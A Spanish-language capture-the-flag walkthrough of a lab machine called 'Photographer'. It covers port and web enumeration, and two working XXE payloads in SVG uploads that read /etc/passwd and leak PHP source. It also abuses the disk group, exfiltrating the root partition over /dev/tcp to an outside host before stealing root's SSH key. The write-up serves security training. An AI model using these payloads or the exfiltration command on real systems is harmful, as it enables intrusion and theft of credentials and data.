Resolución del CTF: Photographer
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.
nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.110- -p- : Escaneo de todos los puertos. (65535)
- -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
- -sC : Escaneo con scripts básicos de reconocimiento.
- -sV : Detección de servicios.
- –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
- -n : Sin resolución DNS.
- -Pn : Sin descubrimiento por ping.
Identificamos los servicios SSH (22/tcp) y HTTP (80/tcp). El servicio web expone un blog con referencias a un usuario potencial: ethan.
Reconocimiento Web
Enumeramos rutas del servidor web para identificar funcionalidades ocultas.
gobuster dir -u http://192.168.0.110/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x phpLocalizamos el directorio /admin, que expone un panel de autenticación. Repetimos la enumeración dentro de este directorio.
gobuster dir -u http://192.168.0.110/admin/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x phpDestaca admin.php, que responde con una redirección y un tamaño anómalo, indicando contenido accesible en la respuesta.
Explotación
Interceptamos la petición a /admin/admin.php y forzamos la visualización del contenido modificando el código de respuesta HTTP a 200 OK. Esto nos da acceso a un panel de subida de imágenes.
El formulario acepta imágenes SVG, lo que permite explotar una vulnerabilidad XXE al tratarse de XML procesado por el servidor.
<?xml version="1.0" standalone="yes"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" version="1.1"><text x="0" y="16">&xxe;</text></svg>Subimos el archivo con Content-Type: image/svg+xml y confirmamos la lectura de /etc/passwd, validando la existencia del usuario ethan.
Utilizamos el mismo vector XXE junto con el wrapper de PHP para leer código fuente de archivos internos.
<?xml version="1.0" standalone="yes"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php" > ]> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" version="1.1"><text x="0" y="16">&xxe;</text></svg>Decodificamos el contenido Base64 obtenido y extraemos credenciales reutilizadas para el acceso SSH del usuario ethan.
Acceso inicial
Obtenemos acceso interactivo al sistema como el usuario ethan.
Escalada de privilegios
Comprobamos los grupos del usuario y confirmamos pertenencia al grupo disk, lo que permite acceso directo a dispositivos de bloque.
idIdentificamos la partición raíz del sistema.
df -hLa raíz se encuentra en /dev/sda1. Exfiltramos el contenido completo de la partición hacia nuestra máquina para su análisis offline.
cat /dev/sda1 > /dev/tcp/192.168.0.100/100Montamos la imagen de la partición en nuestra máquina y accedemos al sistema de archivos con privilegios de root.
mount data photoExtraemos la clave privada SSH del usuario root desde el sistema montado.
cp photo/root/.ssh/id_rsa .Utilizamos la clave obtenida para autenticarnos como root en el sistema objetivo.
ssh -i id_rsa [email protected]Compromiso completo del sistema.
